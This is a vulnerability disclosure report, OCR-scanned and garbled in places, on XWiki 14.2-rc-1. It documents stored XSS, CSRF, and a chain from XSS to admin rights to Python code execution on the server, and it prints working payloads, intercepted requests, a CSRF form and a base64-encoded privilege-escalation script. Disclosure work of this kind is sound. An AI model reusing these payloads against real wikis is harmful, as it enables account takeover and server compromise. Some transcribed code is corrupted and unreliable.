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1. Security assessment report of XWiki

1.1. «Stored XSS» vulnerability

Product (version): XWiki v 14.2-rc-1.

Description: the possibility of introducing a malicious payload is implemented in the
XWiki product, where WYSIWYG is used.

Researcher: Alexey Solovyev (Positive Technologies).
Exploitation

XWiki uses WYSIWYG. If the user injects the following payload, it will be escaped:

<img/src='1l'/onerror=alert ()>.
Scenario 1

A Hacker user has been created who is a member of the XWikiAllGroup group (see the
figure 1).

1

& Groups Users View Comment Edit Script Delete Admin Register  Program
Search filter:
o o o T v o
o o o

Figure 1. Creating a user named «Hacker»

Now the hacker injects a malicious payload into the information section "ABOUT" (see the
figure 2 and 3).
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192.168.0.12:8080/xwiki/bin/edit/XWiki/hacker?editor=inline&category=profile

L] XWikd Profile of Hacker

Profile of Hacker

v

Personal Information

FIRST NAME
Hacker
LAST NAME
& Profile COMPANY
/ Preterences
& Groups
ABOUT
@ Network
A Notfications + @ source
= Wikas
<img/src="1'/onerror=alert()>
B My dashboard
¥ Liked Pages

Figure 2. Entering a malicious payload (part 1)

Profile of Hacker

ast modfed by Hacker on 20227067248 1903

Personal Information

FIRST NAME
Hacker
LAST NAME
COMPANY
ABOUT

& Profse
<img/src="1/onemor=alert{)>
F Piodarences

¥ Croups Contact Information
@ Narwark EMAIL
8 Notihcatorrs
PHONE
0 Wikis
B My dashboard ADDRESS
W Liked Pages
External Links
BLOG
BLOG FEED

Figure 3. Entering a malicious payload (part 2)
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As a result, the characters are escaped and the html entity is converted to plain text,
which does not allow the attack to be performed.

But if you intercept the request through a proxy, and replace the transmitted payload with
a malicious payload, then the attack will be successful (see the figure 4).

This vulnerability is present in all places where WYSIWYG is used.

1 POST /xwiki/bin/preview/XwWiki/hacker HTTP/1.1

Host: 192.168.0.12:8080

Content-Length: 1826

Accept: text/javascript, text/html, application/xml, text/xml, */*

X-Prototype-Version: 1.7.3

X-Requested-with: XM_HttpRequest

User-Agent: Mozilla/S.0 (wWindows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko)

Chrome/99.0.4844.74 Safar1/537.36

& Content-type: application/x-www-form-urlencoded; charset=UTF-8

9 Origin: http://192.168.0.12:8080

10 Referer: http://192.168.0.12:8080/xwikl/bin/edit/Xwikl /hacker?editor=1nline&category=profile

11 Accept-Encoding: gzip, deflate

12 Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7

13 Cookle: JSESSIONID=nodeOestttkgm2anvliSkyoifaob8nn2.node0; username="EfLVScS4K38_*; password=
*TEFnxpd/CkUBGE9Ix76hbSg__"; rememberme="false®; validation="bbc99455165d6fcc30686592324332b8"

14 Connection: close

W A

o0

|

16 parent=xwiki%3AMain.UserDirectory&Xwikl.XwikiUsers_0_first_name=Hacker&xwiki.XwikiUsers_0_last_name=&
Xwikl.XwWikiUsers_0_company=&RequiresHTMLConversion=XwWikl.XwikiUsers_O_comment&RequlresHTM Conversion=
Xwiki.XWikiUsers_0_address&Xwiki . XWikiUsers_0_comment_syntax=xwik1%2F2.1&XWiki.XwikiUsers_0_comment_cache=&
Xwiki.xXwikiUsers_0_comment=<img/src='1'/onerror=alert()>&Xwiki.XwikiUsers_0_email=8XWiki.XWikiUsers_0_phone=§
Xwikl.XwikiUsers_0_address_syntax=xwik1%2F2.16XWiki.XWikiUsers_O_address_cache=&Xwiki.XwikiUsers_O_address=
%3C! DOCTYPE+h tml%3E%0D%04%3Ch tml+xmlns%30%22h t tp%s3A%2F%2Pwww . w3, 0rg’nZF1999‘42:!htm1%22+lang’-ED‘sZZen’uZZ"meUaBA‘.a
NG 30%22en%22%36%3Chody R 3E%3C% 2Fbod yR3E% 30 2Fh tml%3E6XWik1 . XWikiUsers_0_blog=&xwiki.XWikiUsers_0_blogfeed=&
Xwik1.XwikiUsers_0_displayHiddenDocuments=8xwiki.XwikiUsers_0_accessibility=8Xwiki.XwikiUsers_O_timezone=6&
Xwikl.XwikiUsers_0_editor=6Xwiki.XwikiUsers_0_usertype=8&Xwiki.XwikiUsers_0_extensionConflictSetup=&
notificationFilterTypeSelector=inclusivesnotificationFilterNotificationFormatSelector=alert&
notificationFilterNotificationFormatSelector=email&Dashboard.UserDashboardPreferencesClass_0_displayOnMainPage
=0&category=profile&xcontinue=%2Fxwiki%2Fbin%2Fedi t%2FXwiki%2Fhacker%3Fedi tor%30inline%26categorys3Dprofiles
form_token=xA33zpBtH3rJ)CoOehdd7RA&X - maximized=&xredirect=
%2F w1 k1%2Fb1 n%2Fv1 ewh2FXWi k1%2Fhacker%3Fcategory%30prof1 ledxnoti fication=&template=&language=en&action_save=
Save+%26+V1ewbxaction=save&xaction=saveandcontinue&xaction=previewbxaction=cancel&xeditaction=sdit&
previousVersion=3. 1&1sNew=f alse&edltingVersionDate=1648148779367&comment=6a] ax=trua

A He3aupuuero | 192,168.0.12:8080/xwiki/bin/view/XWiki/hacker?category=profile > N

ard -
. ...pAnTe AencTBNe Ha cTpaHuue 192.168.0.12:8080
Profile of | U Creae

<

Last modifed by Hacker on i
plications n
on pr ) 4
Personal Information My Activity Stream
FIRST NAME po
Profile of Hacker
Hacker
I edited by  Hacker
MOMents ago -
LAST NAME
COMPANY
SETTINGS
& Profile ABOU'I'
»21
F Preferences
& Groups Contact Information
Network Performance Memory Application Secunty Lighthouse DOM Invader

wents  Console Sources

«<id class="fanily-name™></dd>
P <dt>o</dt>

«<dd class="orQ*></dd>
b <dt>_</dt>
v<dd class="note*>

vep>

«<ing alt="1" class="wikigeneratedid® 1d="I1" onerror="alert()" src="/xwiki/bin/downlosd/XWiki/hacker/1">

Figure 4. Replacing the transmitted payload with a malicious payload
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Scenario 1
An attacker can upload a photo that contains a malicious payload in the name, which will
be executed (see the figure 5 and 6).

192.168.0.12:8080/xwiki/bin/view/Main/#Attachments
Learn more on Now 1o use XWiki with the Geting Started Gui
...pAnTE AencTeme Ha cTpaHuue 192.168.0.12:8080

Extend your wiki 1

To extend the power and functionalities of your wiki with the fed m
1o the Extension Manager where you can search for and install

To browse through the 900+ community contributed extensions available for XWiki, head over AWM will take care of making it ez
to the Extensions Repository 2.

m Tags: [+
Comments (1) Attachments (1) History Information

%22><img src=1 onerror=alert(1)>.%22><img src=1 onerror=alert(1)> 11

Posted by Hacker on 2022/03/24 20-56 (39.5 KB)

Attach files to this page

o "yl (395 Kt)

e ———

100% (39.5 Kb)

Hide upload st
ide upload stanrs Attachment uploaded: ">."> (39.5 Kb)

Figure 5. A malicious payload in the name in a photo (part 1)

192.168.0.12:3080xwiki /bin/view/Main/Tupage=attachment %2 Fmove&attachment=xwiki%3AMain WebHome%40%2 52 2 ><img%205rc %301 %2 0onerr

1

Move %22>.%22> from H

Last modified by Hacker on 2022003/24 20:56

SOURCE NEW ATTACHMENT NAME
The aftachment that is going 10 be moved. The mew name of the altachment
# | Home | %22><img src=1 onerror=alen| 1)>. %2 2><img src=1 onermor=alert{1)> W22><img src=1 onerror=abert{1)>.%
[] CREATE AN AUTOMATIC REDIRECT NEW ATTACHMENT LOCATION
Redirect the user o the new atachment when accessing the old atachment. Select this option I you donT want The: nesw location of the antachment

io break external links to the old attachment D Home

Figure 6. A malicious payload in the name in a photo (part 2)
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1.2. «Cross Site Request Forgery (CSRF)>» vulnerability

Product (version): XWiki v 14.2-rc-1.

Description: the XWiki product implements the ability to send POST requests without a
CSRF token.

Researcher: Alexey Solovyev (Positive Technologies).
Exploitation

Adding tags occurs through a POST request without a CSRF-token (see the figure 7 and 8).
— (& A He3awmnweHo | 192.168.0.14:8080/xwiki/bin/view/XWiki/hacke|

eirney. d ueld '

Wysiwyg (Defaul

USER TYPE

Simple (Default)

Extensions F

ENABLE EXTENS

you wa

ar

NO (Default)

Test
Comment m i

Figure 7. Adding tags (part 1)

1 POST fwwiki/bim/view/ w1kl fhacker?xpage=documentTags&xactlon=add&tag=TESTRajax=1 HTTP/1.1
Host: 182.168.0.14:8080
Content-Length: 0
| Cache-Control: max-age=0
S Upgrade-Tnsecure-Requests: 1
origin: hittp://burpsulte
Content-Typa: application/x-wew-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; wWinG4; x64) ApplewWebKit;/S37.36 (KHTML, like Gecke) chrome/99.0.4B44.74 Safari/537.36
fccept: text/homl,application/xhtml+xml, application/xml;g=0.9,1mage/avif, image webp, image/apng, */*; q=0.9,application/sianed- exchange; v=b3;q=0.9
Referar: http://burpsuite/
11 Acocept-BEncoding: gzip, deflate
fcoept-Language: ru- AU, rujged. 8, en- US;ge0, &, enjged, 7
12 Connection: close

Figure 8. Adding tags (part 2)
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An attacker can create an html form on a controlled domain that will send a request to
the attacked system (see the figure 9).
1 =html=
<body=>

3 =script=histeory.pushState('', '', */')</script=
4 <form action="http://192. 168.0. 14: 8080/ xwiki /bin/view/XWiki /hacker? xpage=documentTagséxaction=additag=TEST &aj ax=1" method="POST"=]
5

«input type="submit® value="Submit request® /=
</form
-:,-'b;d',-;,
8 =/html=
Figure 9. Request to the attacked system
After a successful attack, the user will have an attached tag in their profile (see the
figure 10).

€ = C A He3awwmueno | 192.168.0.14:8080/xwiki/bin/view/XWiki/hacker?xpage=documentTags&xaction=add&tag=TEST&ajax=1&srid=gzXeAP6I

TEST[X]
Figure 10. An attached tag in user profile

1.3. «Escalate Stored XSS to RCE through Python»
vulnerability

Product (version): XWiki v 14.2-rc-1.

Description: by using "stored XSS", can get additional privileges necessary to create
gadgets that run python code on the server, and get RCE.

Researcher: Alexey Solovyev (Positive Technologies).

Exploitation

An attacker can create gadgets that run, for example, python code on the server (see the
figure 11).

192.168.0.14:8080/xwiki/bin/edit/Xwiki/hacker?category=dashboard

Select Gadget

python All Macros ~

Python

Executes a python script

Cancel Select

Figure 11. A gadget that runs python code on the server
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The python code, if you have the necessary rights, will be executed on the server. But
due to the lack of rights, the code on the server will not be executed and the server will return
an error (see the figure 12 and 13).

Edit Gadget

Python

Executes a pytho

Gadget Title
The title I this gadget appears at the top of the _.-.|I_>-I ane 1 the dashboard (i

$services.localization.render('rendering.macro.python.name")

Content *
The ||,'.\'|" 1 SCript 1o execute

import os
print(os.popen("id").read())

Figure 12. A gadget containing python code

PYTHOMN

Failed to execute the [python] macro. Cause: [You need Programming Righis to execuie the script macro [python]]. Click on this message for
details

Figure 13. Error to the execute the [python] macro

So, if there is a stored XSS, an attacker can add the necessary rights to run the python
code on the server (see the figure 14).

jQuery.get(" /xwiki/bin/admin/XWiki’XWikiPreferences?editor=globaladmin&section=Groups" ,function(d){let
csrf = jQuery(d).find("input[name=form_token]").val();jQuery(body).append(’<form
action=/xwiki/bin/preview/ XWiki’XWikiAdminGroup method=POST name=csrf_attack><input type=hidden
name=form_token value=${csrf}><input type=hidden name=name value=XWiki.hacker><input type=hidden
name=name><input type=hidden name=xpage
value=adduorg></form>");document.forms|"csrf_attack"].submit();})

Figure 14. Adding the necessary rights

Now an attacker can encode the payload and embed it in stored XSS in their profile. When
the administrator visits the Hacker's profile, a malicious payload will be executed and give the
user hacker rights Xwikiadmingroup (see the figure 15).
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Encode the payload and write an exploit:

> btoa('jQuery.get("/xwiki/bin/admin/XWiki/XWikiPreferences?editor=globaladmin&section=Groups”, function(d){let
csrf = jQuery(d).find("input[name=form_token]").val();jQuery(body).append( <form
action=/xwiki/bin/preview/XWiki/XWikiAdminGroup method=P0OST name=csrf attack><input type=hidden
name=form token value=${csrf}><input type=hidden name=name value=XWiki.hacker><input type=hidden name=name>
<input type=hidden name=xpage value=adduorg></form>');document.forms["csrf attack”].submit();})')
'alF1ZXJ5Lmd1dCgil3h3aWtpl2]pbi9hZGlpbifYV21 raS9YV21lraVByZWZ1lcmVuY2VzP2VkaXRvc] InbG91YWxhZG1pbiZzZWNOawouPUdyb
3VwcyIsZnVuY3Rpb240ZC17bGVOIGNzcmYgPSBqUXVicnkoZCkuZmluZCgiaWSwdXRbbmFtZTImb3]tX3Rva2VuXSIpLnZhbCgp02pRdWVyeSh
1b2R5KS5hcHB1bmQoYDxmb3JtIGF jdGlvbjOveHdpa2kvYmluL3ByZXZpZXcvWFdpa2kvWFdpa21BZG1pbkdyb3VwIG11dGhvZD1QTINUIGShD
WU9Y3NyZ19hdHRhY25+PGLucHVOIHR5cGU9aGLKZGVUIGShbWUIZmOybVI0b2t 1biB2YWX1ZTOke2NzcmZ9P ) xpbnB1dCBOeXB1PWhpZGR1biB
uYW11PWS5hbWUgdmF sdWU9WFdpa2kuaGF ja2VyPj xpbnB1d(BOeXB1PWhpZGR1biBuYW11PWShbWU+PGLucHVOIHRS cGU9aG1kZGVUIGShbWU9e
HBhZ2UgdmF sdWU9YWRkdWIyZz48L2ZvemO+YCk7ZG9 ) dW11bnQuZmOybXNbImNzcmZ fYXROYWNrI10uc3VibWlOKCKk7 fSk="

Figure 15. Encoded malicious payload

An attacker injects a malicious payload based on an early identified stored XSS

vulnerability in a profile (see the figure 16 and 17).

U B W RS e

<img/src="1"/

onerror=eval(atob('alF1ZXJ5LmdldCgil.3h3aWtpL2Jpbi9hZ G1pbidYV2IlraSIYV2IraVByZWZlcmVuY2VzP2
VkaXRvcjlnbG9iYWxhZ G1pbiZzZWN0aW9uPUdyb3VwcyIsZnVuY3Rpb240Z Cl7bGVO0IGNzemYgPSBqUXV
lenkoZCkuZmluZ CgiaW5wd XRbbmFtZT1mb3JtX3Rva2VuXSIpLnZhbCgpO2pRdW VyeShib2R5KS5hcHBIb
mQoYDxmb3JtIGFjdGlvbjoveHdpa2kvYmluL.3ByZXZpZ XcvWFdpa2kvWFdpa2lBZG1pbkdyb3VwIG1ldGhv
ZD1QTINUIG5hbWU9Y3NyZI9hdHRhY2s

%2bPGlucHVOIHR5cGU9aGlkZ GVulG5hbWU9Zm9ybV90b2tlbiB2YWx1Z T0ke2NzcmZ 9P jxpbnB1dCB0eXB
IPWhpZGRIbiBuYW1IPW5hbW UgdmFsd WU9WF dpaZkuaGFja2VyPjxpbnB1dCB0eXBIPWhpZ GRIbiBuYW1
IPW5hbWU

%2bPGlucHV0IHR5c¢GU9aGIkZGVulG5hbWU9eHBhZ 2UgdmFsdWUIYWRkdW9yZz48L.2Zvem0%2bYCk7
ZG9jdW1lbnQuZm9ybXNbImNzemZ Y XROYWNrIl0uc3VibWIOKCk71Sk="))>

Figure 16. Entering a malicious payload based on an stored XSS (part 1)

POST /xwikl/bin/preview/XWiki /hacker HTTP/1.1

Host: 152.168.0.14:8080

Content-Length: 1780

Accept: text/javascript, text/html, application/xml, text/xml, #/%

X-Prototype-Version: 1.7.3

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome,/99.0.4844.74 Safari/S537.36

Content-type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://152.168.0.14: 8080

Referer: http://192.168.0.14: 8080/ xwiki /bin/edit/ X1kl f/hacker?editor=inline&category=profile
Accept-Encoding: gzip, deflate

Accept-Language: ru-BUJ,ru;q=0.9,en-U5;q=0.8,en;q=0.7

Cookie: JSESSIOMID=node0lSuusggfxfwdxlvn2k2s2bhorb3.node0; username="EfLVSc94K38_"; password=
"TEFnxpd/CkUBgE9x76hbSg_ "; rememberme="false"; validation="491ffb1178365c7d3845ed7703cf5a38"
Connection: close

parent=xwiki%3AMain.UserDirectory&Xwiki . XWikilUsers_0 first_name=Hacker&Xwiki.XwikiUsers_0_last_name=&
XWiki.XWikiUsers_0_company=&RequiresHTMLConversion=Xw1k1i.XWikiUsers_0_comment&RequiresHTM Conversion=

Wikl ¥WikiUsers_0_address&xWiki.XwikiUsers_0_comment_syntax=xwiki%2F2.1&XWiki.XWikilUsers_0_comment_cache=&
XWikl . XWikiUsers_0_comment=

<img/src="'1"'/onerror=eval (atob('alF1ZxJsLmdldCgil3h3awtpL2]pbishzGlpbi gy V2l rassyvalravBy ZwWZlemvuy2VzP2vkaXRve]
1nbGo1 YWxhZGlpbl Zz ZWNOawWsuPUdyb 3VweyI sZnVuY 3Rpb 240 ZCL 7bGVOI GNzemY gPSBgUXVLenk o ZCkuZmluZCgl aWSwd XRbbmFtZT 1mb30 ¢
X3Rva2VuXsIpLnZhbCgpo2pRdwWVyeshib2rsKSsheHBLbmQoY Dxmb31t1GF) dGlvbj OveHdpazk vYmluL3By ZXZp ZXc vWrdpaZk vwFdpa21BZG
1pbkdyb3VwI G11dGhvZD1QT INUIGShbWUSY 3Ny Z19hdHRhY 25%2bPGLucHVOI HRSC GUZaGLk ZGVul GShbWUSZmaybvoob2t Lbi1 B2YwWx 1ZTOke2
NzcmZSP ] xpbnB1dCBOe XB1PWhpZGRLb1 BuYW1 LPWShbWUgdmFs dwUsWFdp a2kuaGFj a2VyPj xpbnB1dCBOe XB1PWhpZGR1Lb1 BuYW1 LPWShbwWLEs
2bPGLucHVEI HRScGU9a 6Lk ZGVuI GShbwuseHBhZ2Ug dmFs dwus Wik dwSy 2z 48| 22vem@®s2b Y Ck 72G9) dw 1 LbnQuZmSyb xNbI mNzemZf Y XROYW
MrIloue3VibWlOKCk7fSk=") ) =&xwWik1 . XWikiUsers 0 email=GX¥Wiki.¥WikiUsers 0O _phone=&

awWiki. ¥wikiUsers_0_address_syntax=xwiki%2rF2. 1&Xwiki.XwikiUsers_0_address_cache=&xwiki.XwikiUsers_0_address=
%3C ! DOCTYPE+Hh tml%3E%00%08%3Ch tmL+xmlns%30%22h t tp%3A%2 % 2Fwww . w3, o rg% 2R 199 2Fxhtml%22+ Lang%30k22en%s22+ xml%341a
NG 30R22en%22% 3E% 3Cho dy%38%30% 2Fbod y % 3E%3C%2Fhtml%3EaXW1 k1 . XWikilUsers_0_blog=8&Xwiki.XWikilsers_0_blogfeed=&
Wikl . ¥wWikilUsers 0 displayHiddenDocuments=&Xwikl.¥wikilUsers_0 accessibility=&x¥wik1.¥wikilUsers O timezone=&
Wikl . ¥WikilUsers_0 editor=&XWiki.X¥wikiUsers_0 usertype=&x¥wikl.¥WikiUsers 0 extensionConflictSetup=5&
notificationFilterTypeSelector=inclusivednotificationFilterNotificationFormatSelector=alerts
notificationFilterMotificationFormatSelector=emal l&Dashboard.UserDashboardPreferencesClass_0_displayOnMainPage
=0&category=profile&xcontinue=S%2Fxwik1%2Fbins2Fedl t%s2Fiwl k1%2Fhackers3Fedi tors3Dinline%s26categorys3Dprofiles
form_token=ylgxqf ClxRVgOXal XY tpxQ&x - maximl zed=Exredirect=

%2Fxwlk1%2Fb1 n%2Fv1 ews2FXW1k1%2Fhackers3Fcategory%30prof 1 le&xnotification=&template=&language=en&action_save=
Save+%26+V1ewlxactlon=save&xaction=saveandcontinue&xaction=previewsxaction=cancel&xed1 taction=ad1 t&
previcusVersion=37, 1&1sMNew=f alsefedi tingVersionDate=1648414834180&conment=6&a] ax=true

Figure 17. Entering a malicious payload based on an stored XSS (part 2)
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After the administrator viewed the attacker's profile, an exploit was executed that added
him to the Xwikiadmingroup group (see the figure 18).

Now the previously created gadget with python code will be executed on the server and
return the result.

Profile of Hacker

ed by Hacker (

A\ |

Dashboard preferences

REPLACE THE DEFAULT DASHBOARD WITH MY CUSTOM DASHBOARD
No

Python
m uid=1000(security) gid=1000(security) groups=1000(security),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(Ixd)

Figure 18. Executing an exploit
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